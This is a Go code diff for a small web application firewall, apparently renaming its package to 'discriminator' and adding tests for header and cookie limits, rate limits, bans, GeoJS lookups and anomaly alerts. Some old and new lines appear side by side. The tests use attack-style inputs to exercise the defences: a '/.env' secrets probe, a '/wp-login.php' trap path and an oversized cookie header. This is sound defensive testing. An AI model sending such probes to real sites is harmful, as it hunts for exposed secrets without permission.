waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
@@ -166,35 +138,21 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" || if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
attackNotes.Request.Path != "/.env" { attackNotes.Request.Path != "/.env" {
t.Errorf( t.Errorf("the notes are %+v and %+v, want those of the broken limit and "+
"the notes are %+v and %+v, want those of the broken limit and "+ "of the probe", limitNotes, attackNotes)
"of the probe",
limitNotes,
attackNotes,
)
} }
// Each alert is the one enforce mode would have raised, with mode // Each alert is the one enforce mode would have raised, with mode
// observe in its detail. // observe in its detail.
want := []alerts.Alert{ want := []alerts.Alert{
banAlert(alerts.EventBan, start, client, bans.Ban{ banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
client + "/32",
), Cause: bans.CauseLimit,
Reason: "requests per minute over the limit of 2", Notes: limitNotes, Reason: "requests per minute over the limit of 2", Notes: limitNotes,
}, requestlog.FormatTime(start.Add(time.Hour))), }, requestlog.FormatTime(start.Add(time.Hour))),
attackAlert(alerts.EventBan, start, otherClient, bans.Ban{ attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix(otherClient + "/32"), Notes: attackNotes,
otherClient + "/32",
), Notes: attackNotes,
}, requestlog.FormatTime(start.Add(7*24*time.Hour))), }, requestlog.FormatTime(start.Add(7*24*time.Hour))),
attackAlert( attackAlert(alerts.EventPermanentBan, start, ipv6Client, attackBan, permanent),
alerts.EventPermanentBan,
start,
ipv6Client,
attackBan,
permanent,
),
} }
for _, alert := range want { for _, alert := range want {
alert.Detail["mode"] = observe alert.Detail["mode"] = observe
@@ -209,7 +167,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
s, _, _, queue := startWithAlerts(t, map[string]string{ s, _, _, queue := startWithAlerts(t, map[string]string{
mode: observe, mode: observe,
rateLimitPerMinute: "2", rateLimitPerMinute: "2",
ruleFilesDir: writeRules(t, testRules), rulesDir: writeRules(t, testRules),
alertMaxPerHour: "2", alertMaxPerHour: "2",
}) })
@@ -222,12 +180,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
// The other client's first probe raises the second. Its second probe is // The other client's first probe raises the second. Its second probe is
// within the cooldown. // within the cooldown.
for range 2 { for range 2 {
s.request( s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
otherClient,
"/.env",
http.StatusOK,
requestlog.ActionForward,
)
} }
// The IPv6 client's third request breaks the limit past the two alerts // The IPv6 client's third request breaks the limit past the two alerts
@@ -250,20 +203,16 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
// never sent them, and returns the queue they wait in as well. // never sent them, and returns the queue they wait in as well.
func startWithAlerts( func startWithAlerts(
t *testing.T, env map[string]string, t *testing.T, env map[string]string,
) (*sender, *clock, *waf.Server, *alerts.Queue) { ) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
t.Helper() t.Helper()
return startAppWithAlerts( return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
t,
func(http.ResponseWriter, *http.Request) {},
env,
)
} }
// startAppWithAlerts is startWithAlerts in front of the app handler. // startAppWithAlerts is startWithAlerts in front of the app handler.
func startAppWithAlerts( func startAppWithAlerts(
t *testing.T, handler http.HandlerFunc, env map[string]string, t *testing.T, handler http.HandlerFunc, env map[string]string,
) (*sender, *clock, *waf.Server, *alerts.Queue) { ) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
t.Helper() t.Helper()
app := startApp(t, handler) app := startApp(t, handler)
@@ -275,15 +224,9 @@ func startAppWithAlerts(
} }
maps.Copy(settings, env) maps.Copy(settings, env)
addr, out, server, queue := startProxyWithAlerts( addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
t,
app.URL,
"",
clk.Now,
settings,
)
s := &sender{t: t, addr: addr, wafAddr: server.Addr, out: out} s := &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}
return s, clk, server, queue return s, clk, server, queue
} }
@@ -292,11 +235,7 @@ func startAppWithAlerts(
// the time raised, for ban, with its netblock, cause, reason and notes, // the time raised, for ban, with its netblock, cause, reason and notes,
// which ends at expires, as the log line gives it. // which ends at expires, as the log line gives it.
func banAlert( func banAlert(
event string, event string, raised time.Time, client string, ban bans.Ban, expires string,
raised time.Time,
client string,
ban bans.Ban,
expires string,
) alerts.Alert { ) alerts.Alert {
return alerts.Alert{ return alerts.Alert{
Instance: alertInstance, Instance: alertInstance,
@@ -315,11 +254,7 @@ func banAlert(
// attackAlert is banAlert for a ban for the probe rule of testRules, with // attackAlert is banAlert for a ban for the probe rule of testRules, with
// the netblock and the notes of ban. // the netblock and the notes of ban.
func attackAlert( func attackAlert(
event string, event string, raised time.Time, client string, ban bans.Ban, expires string,
raised time.Time,
client string,
ban bans.Ban,
expires string,
) alerts.Alert { ) alerts.Alert {
return banAlert(event, raised, client, bans.Ban{ return banAlert(event, raised, client, bans.Ban{
Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe", Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",
@@ -1,4 +1,4 @@
package waf package discriminator
import ( import (
"net/netip" "net/netip"
@@ -19,15 +19,12 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
client: netip.MustParseAddr("203.0.113.9"), client: netip.MustParseAddr("203.0.113.9"),
lookedUp: true, lookedUp: true,
}, },
h: &handler{config: &config.WAF{LookupSource: "geojs"}}, h: &handler{config: &config.Config{LookupSource: "geojs"}},
} }
defer func() { defer func() {
if r := recover(); r != nil { if r := recover(); r != nil {
t.Errorf( t.Errorf("counting the request did work, with every threshold off: %v", r)
"counting the request did work, with every threshold off: %v",
r,
)
} }
}() }()
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"maps" "maps"
@@ -13,19 +13,19 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/anomaly" "sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
// The anomaly thresholds: the prefix of a scope followed by the end of a // The anomaly thresholds: the prefix of a scope followed by the end of a
// count. // count.
const ( const (
anomalyClient = "SWW_WAF_ANOMALY_CLIENT_" anomalyClient = "SWW_ANOMALY_CLIENT_"
anomalyNet = "SWW_WAF_ANOMALY_NET_" anomalyNet = "SWW_ANOMALY_NET_"
anomalyASN = "SWW_WAF_ANOMALY_ASN_" anomalyASN = "SWW_ANOMALY_ASN_"
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_" anomalyTotal = "SWW_ANOMALY_TOTAL_"
anomalyWatchedNet = "SWW_WAF_ANOMALY_WATCHED_NET_" anomalyWatch = "SWW_WATCH_"
requestsPerMinute = "REQUESTS_PER_MINUTE" requestsPerMinute = "REQUESTS_PER_MINUTE"
requestsPerHour = "REQUESTS_PER_HOUR" requestsPerHour = "REQUESTS_PER_HOUR"
@@ -35,9 +35,9 @@ const (
// The other anomaly settings. // The other anomaly settings.
const ( const (
anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX" anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX" anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
watchedNets = "SWW_WAF_ANOMALY_WATCHED_NETS" watchNets = "SWW_WATCH_NETS"
) )
const ( const (
@@ -51,9 +51,7 @@ const (
hour = "hour" hour = "hour"
) )
func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown( func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, scope := range []struct { for _, scope := range []struct {
@@ -75,7 +73,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
{anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}}, {anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}},
{anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil}, {anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil},
{ {
anomalyWatchedNet, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet), anomalyWatch, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
"the named netblock office, " + clientsNet, map[string]any{"name": "office"}, "the named netblock office, " + clientsNet, map[string]any{"name": "office"},
}, },
} { } {
@@ -97,8 +95,9 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
t.Run(setting, func(t *testing.T) { t.Run(setting, func(t *testing.T) {
t.Parallel() t.Parallel()
env := map[string]string{setting: value, watchedNets: office} s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
s, clk, server, queue := startWithLookupsAndClock(t, env) setting: value, watchNets: office,
})
start := clk.Now() start := clk.Now()
// The third upload takes the count over the threshold, and the // The third upload takes the count over the threshold, and the
@@ -157,10 +156,7 @@ func wantAlertedAgainOnceTheCooldownHasRunOut(
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) || if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) ||
waiting[1].SuppressedRepeats != 1 { waiting[1].SuppressedRepeats != 1 {
t.Errorf( t.Errorf("alerts wait %+v, want the first and another, with 1 repeat", waiting)
"alerts wait %+v, want the first and another, with 1 repeat",
waiting,
)
} }
} }
@@ -168,9 +164,9 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
t.Parallel() t.Parallel()
const ( const (
allowed = "192.0.2.7" // in SWW_WAF_ALLOW_NETS allowed = "192.0.2.7" // in SWW_ALLOW_NETS
exempt = "192.0.2.10" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
denied = "192.0.2.20" // in SWW_WAF_DENY_NETS denied = "192.0.2.20" // in SWW_DENY_NETS
) )
s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{ s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
@@ -205,10 +201,7 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
got = append(got, alert.Client.String()) got = append(got, alert.Client.String())
} }
if want := []string{allowed, exempt, client, denied}; !slices.Equal( if want := []string{allowed, exempt, client, denied}; !slices.Equal(got, want) {
got,
want,
) {
t.Errorf("alerts for the clients %v, want %v", got, want) t.Errorf("alerts for the clients %v, want %v", got, want)
} }
} }
@@ -217,10 +210,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
t.Parallel() t.Parallel()
// With every threshold off, nothing is counted. // With every threshold off, nothing is counted.
s, server, queue := startWithLookups( s, server, queue := startWithLookups(t, map[string]string{watchNets: office})
t,
map[string]string{watchedNets: office},
)
for range 5 { for range 5 {
s.uploadFrom(client) s.uploadFrom(client)
@@ -234,7 +224,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
// With one set, its count alone is counted, in its scope alone. // With one set, its count alone is counted, in its scope alone.
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{ s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
anomalyNet + requestsPerMinute: aLot, watchedNets: office, anomalyNet + requestsPerMinute: aLot, watchNets: office,
}) })
for range 5 { for range 5 {
@@ -316,10 +306,7 @@ func TestClientIsCountedForItsASNumberOnceTheLookupGivesOne(t *testing.T) {
got[counter.ASN] = counter.Minute.Current got[counter.ASN] = counter.Minute.Current
} }
if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal( if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(got, want) {
got,
want,
) {
t.Errorf("requests by AS number %v, want %v", got, want) t.Errorf("requests by AS number %v, want %v", got, want)
} }
} }
@@ -332,14 +319,12 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
// kept. // kept.
geojsURL, _, release := startHeldGeoJS(t) geojsURL, _, release := startHeldGeoJS(t)
var server atomic.Pointer[waf.Server] var server atomic.Pointer[discriminator.Server]
app := startApp(t, func(http.ResponseWriter, *http.Request) { app := startApp(t, func(http.ResponseWriter, *http.Request) {
release() release()
waitUntil(func() bool { waitUntil(func() bool {
_, kept := server.Load().GeoJS.Kept( _, kept := server.Load().GeoJS.Kept(netip.MustParsePrefix(fromDE + "/32"))
netip.MustParsePrefix(fromDE + "/32"),
)
return kept return kept
}) })
@@ -348,7 +333,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now, addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
map[string]string{ map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
anomalyASN + requestsPerMinute: aLot, anomalyASN + requestsPerMinute: aLot,
}) })
server.Store(started) server.Store(started)
@@ -357,10 +342,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
// number it gives. // number it gives.
s := &sender{t: t, addr: addr, out: out} s := &sender{t: t, addr: addr, out: out}
if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" { if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" {
t.Errorf( t.Errorf("log line has AS number %q, want none: the request waited", line.ASN)
"log line has AS number %q, want none: the request waited",
line.ASN,
)
} }
want := []anomaly.Counter{{ want := []anomaly.Counter{{
@@ -375,15 +357,10 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) { func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server, _ := startAppWithAlerts( s, _, server, _ := startAppWithAlerts(t, readAndAnswer, map[string]string{
t, anomalyWatch + requestsPerMinute: aLot,
readAndAnswer, watchNets: office + ",wide=203.0.0.0/16,other=198.51.100.0/25",
map[string]string{ })
anomalyWatchedNet + requestsPerMinute: aLot,
watchedNets: office + ",wide=203.0.0.0/16" +
",other=198.51.100.0/25",
},
)
// client is in office and in wide. // client is in office and in wide.
for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} { for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} {
@@ -395,10 +372,7 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
got[counter.Name] = counter.Minute.Current got[counter.Name] = counter.Minute.Current
} }
if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal( if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(got, want) {
got,
want,
) {
t.Errorf("requests by named netblock %v, want %v", got, want) t.Errorf("requests by named netblock %v, want %v", got, want)
} }
} }
+578
View File
@@ -0,0 +1,578 @@
package discriminator_test
import (
"fmt"
"maps"
"net"
"net/http"
"net/http/httptest"
"net/netip"
"slices"
"strconv"
"strings"
"testing"
"testing/synctest"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
const (
// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
// discriminator has to answer.
answerTimeLimit = 2 * time.Second
// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
defaultLookupWait = 800 * time.Millisecond
// The header limits SPEC.md gives.
cookieLimit = 50
headerFieldLimit = 100
// cookieHeader is the header the cookie limit counts.
cookieHeader = "Cookie"
// tooLarge is how discriminator refuses a request over the header limits.
tooLarge = http.StatusRequestHeaderFieldsTooLarge
// silentAbuseIPDBURL is where AbuseIPDB never answers: at the stand-in
// that silentGeoJSURL names too.
silentAbuseIPDBURL = "silent://abuseipdb/api/v2/check"
// wholeLimit is the percentage of a rate limit that lowers it not at all.
wholeLimit = 100
// clientsDecision is the CrowdSec decision list holding client alone.
clientsDecision = `[{"duration": "4h0m0s", "scenario": "crowdsecurity/ssh-bf", ` +
`"scope": "Ip", "type": "ban", "value": "` + client + `"}]`
)
// cookies returns a Cookie header's value with count cookies.
func cookies(count int) string {
parts := make([]string, 0, count)
for i := range count {
parts = append(parts, "c"+strconv.Itoa(i)+"=1")
}
return strings.Join(parts, "; ")
}
// fillHeaders adds headers to a question until the checks see total header
// fields: all but ClientHeader and PeerHeader, which discriminator removes. Go's
// client sends nothing else but Host, which the limit does not count, once
// User-Agent is set.
func fillHeaders(req *http.Request, total int) {
req.Header.Set("User-Agent", "test")
for i := len(req.Header) - 2; i < total; i++ {
req.Header.Set("X-Filler-"+strconv.Itoa(i), "1")
}
}
func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{wafMode: block})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
got := do(t, req)
wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
line := s.out.requestLine(t)
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
if line.DurationCoreRuleSetMS != nil {
t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationCoreRuleSetMS)
}
}
func TestHeaderLimitRefusalNamesItsHeuristicCountsAndLimits(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", nil)
req := s.question(siteA, client, "/")
fillHeaders(req, headerFieldLimit+1)
do(t, req)
wantHeuristic(t, s.out.requestLine(t), "header_limits",
`{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`)
}
func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
t.Parallel()
repeated := make([]string, headerFieldLimit)
for i := range repeated {
repeated[i] = "1"
}
for _, tc := range []struct {
name string
make func(*http.Request)
// refused is true for a request over a limit, and false for one at it.
refused bool
}{
{"cookies at the limit", func(req *http.Request) {
req.Header.Set(cookieHeader, cookies(cookieLimit))
}, false},
{"cookies over the limit", func(req *http.Request) {
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
}, true},
{"parts empty or only spaces and tabs are no cookies", func(req *http.Request) {
req.Header.Set(cookieHeader, cookies(cookieLimit)+"; \t;;")
}, false},
{"parts of no-break spaces count", func(req *http.Request) {
req.Header.Set(cookieHeader, strings.Repeat(" ;", cookieLimit+1))
}, true},
{"cookies over the limit across two headers", func(req *http.Request) {
req.Header[cookieHeader] = []string{cookies(cookieLimit), "last=1"}
}, true},
{"cookies without a value count", func(req *http.Request) {
req.Header.Set(cookieHeader, strings.Repeat("a;", cookieLimit+1))
}, true},
{"header fields at the limit", func(req *http.Request) {
fillHeaders(req, headerFieldLimit)
}, false},
{"header fields over the limit", func(req *http.Request) {
fillHeaders(req, headerFieldLimit+1)
}, true},
{"a header sent many times counts each time", func(req *http.Request) {
req.Header["X-Filler"] = repeated
}, true},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{wafMode: block})
req := s.question(siteA, client, "/")
tc.make(req)
got := do(t, req)
line := s.out.requestLine(t)
if tc.refused {
wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
return
}
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
if line.DurationCoreRuleSetMS == nil {
t.Error("the Core Rule Set did not read a request within the limits")
}
})
}
}
func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
t.Parallel()
for _, env := range []map[string]string{
{wafMode: off},
{wafMode: "detect"},
{wafMode: block, "SWW_WAF_EXEMPT_PATHS": "/"},
} {
t.Run(fmt.Sprint(env), func(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", env)
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
})
}
}
func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{wafMode: block, allowNets: client})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), http.StatusOK, discriminator.DispositionAllow)
}
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{mode: observe, wafMode: block})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
got := do(t, req)
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
line := s.out.requestLine(t)
if line.WouldAction != requestlog.ActionRequestHeaderTooLarge ||
line.DurationCoreRuleSetMS != nil {
t.Errorf("would_action %q and duration_core_rule_set_ms %v, want %q and none",
line.WouldAction, line.DurationCoreRuleSetMS, requestlog.ActionRequestHeaderTooLarge)
}
}
func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{rateLimitPerMinute: "1"})
ask := func() answer {
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
return do(t, req)
}
wantDisposition(t, ask(), tooLarge, discriminator.DispositionDeny)
wantDisposition(t, ask(), http.StatusForbidden, discriminator.DispositionDeny)
lines := s.out.requestLines(t, 2)
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionClientIsRateLimited)
}
func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name, path, action string
}{
{"a trap path", "/wp-login.php", requestlog.ActionTemporarilyBanned},
{"a block rule", "/blocked", requestlog.ActionBlockedByBlockRule},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{
trapPaths: trapPathList, rulesDir: writeRules(t, testRules),
})
req := s.question(siteA, client, tc.path)
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action)
})
}
}
func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s := startDiscriminator(t, geojsURL, map[string]string{
unknownLimitPercent: "0", lookupTimeout: "1h",
})
req := s.question(siteA, fromDE, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
line := s.out.requestLine(t)
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
if line.RateLimitPercent != nil {
t.Errorf("limit percentage %d, want none", *line.RateLimitPercent)
}
// The client is under no ban, and GeoJS places it in a country.
wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, discriminator.DispositionAllow)
}
func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s := startDiscriminator(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
s.server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
Answered: s.clock.Now(), Used: s.clock.Now(),
}})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
wantLine(t, s.out.requestLine(t), http.StatusForbidden,
requestlog.ActionClientIsRateLimited)
}
func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s := startDiscriminator(t, geojsURL, map[string]string{
mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
})
req := s.question(siteA, fromDE, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
got := do(t, req)
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country")
if asn != asnDE || country != "DE" {
t.Errorf("answered with the AS number %q and the country %q, want %q and DE",
asn, country, asnDE)
}
}
// newDiscriminatorInBubble makes a discriminator for a synctest bubble: GeoJS never
// answers, a setting needs its answer, and everything is at its default but
// for env. No request to it may use the network.
func newDiscriminatorInBubble(
t *testing.T, env map[string]string,
) (*discriminator.Server, *output) {
t.Helper()
settings := map[string]string{tagDeny: "country=KP"}
maps.Copy(settings, env)
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now, settings)
return server, out
}
// askDirectly hands a question about a request from client straight to server,
// as change leaves it, and returns the answer's status and how long it took.
func askDirectly(
t *testing.T, server *discriminator.Server, change func(*http.Request),
) (int, time.Duration) {
t.Helper()
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
req.Header.Set(discriminator.ClientHeader, client)
req.Header.Set(requestIDHeader, "the-id")
change(req)
recorder := httptest.NewRecorder()
began := time.Now()
server.Handler.ServeHTTP(recorder, req)
return recorder.Code, time.Since(began)
}
// banClient bans client at now.
func banClient(_ *testing.T, server *discriminator.Server, now time.Time) {
server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
}
// countClient counts one request from client at now for the rate limits.
func countClient(_ *testing.T, server *discriminator.Server, now time.Time) {
server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
}
// listClient puts client on the blocklist at dropURL.
func listClient(t *testing.T, server *discriminator.Server, now time.Time) {
t.Helper()
err := server.Lists.Load([]reputation.List{{
URL: dropURL, Tried: now, Fetched: now, Lines: []string{client},
}})
if err != nil {
t.Fatalf("load the blocklist: %v", err)
}
}
// decideOnClient puts client on the CrowdSec decision list.
func decideOnClient(t *testing.T, server *discriminator.Server, now time.Time) {
t.Helper()
loadDecisions(t, server, now, clientsDecision)
}
// leaveAsItIs prepares nothing.
func leaveAsItIs(*testing.T, *discriminator.Server, time.Time) {}
func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
t.Parallel()
const forbidden = http.StatusForbidden
for _, tc := range []struct {
name string
env map[string]string
// prepare gets the server ready, at now, before the question.
prepare func(t *testing.T, server *discriminator.Server, now time.Time)
// cookie is the request's Cookie header.
cookie string
status int
action string
}{
{
name: "SWW_DENY_NETS", env: map[string]string{denyNets: client},
prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionClientDenied,
},
{
name: "a ban",
prepare: banClient, status: forbidden, action: requestlog.ActionTemporarilyBanned,
},
{
name: "the rate limits", env: map[string]string{rateLimitPerMinute: "1"},
prepare: countClient, status: forbidden,
action: requestlog.ActionClientIsRateLimited,
},
{
name: "the rate limits, with a biased threshold",
env: map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
prepare: countClient, status: forbidden,
action: requestlog.ActionClientIsRateLimited,
},
{
name: "a blocklist", env: map[string]string{blocklistURLs: dropURL},
prepare: listClient, status: forbidden, action: requestlog.ActionClientDenied,
},
{
name: "the CrowdSec decision list",
env: map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey},
prepare: decideOnClient, status: forbidden,
action: requestlog.ActionTemporarilyBanned,
},
{
name: "the header limits", cookie: cookies(cookieLimit + 1),
prepare: leaveAsItIs, status: tooLarge,
action: requestlog.ActionRequestHeaderTooLarge,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, so that a request that does not wait takes no time at all.
synctest.Test(t, func(t *testing.T) {
server, out := newDiscriminatorInBubble(t, tc.env)
tc.prepare(t, server, time.Now())
status, took := askDirectly(t, server, func(req *http.Request) {
req.Header.Set(cookieHeader, tc.cookie)
})
if status != tc.status || took != 0 {
t.Errorf("answered %d after %s, want %d at once; output:\n%s",
status, took, tc.status, out.text())
}
wantLine(t, out.requestLine(t), tc.status, tc.action)
// GeoJS's request is abandoned before the bubble ends.
time.Sleep(defaultLookupWait)
})
})
}
}
func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
env map[string]string
// prepare gets the server ready, at now, before the question.
prepare func(t *testing.T, server *discriminator.Server, now time.Time)
status int
action string
}{
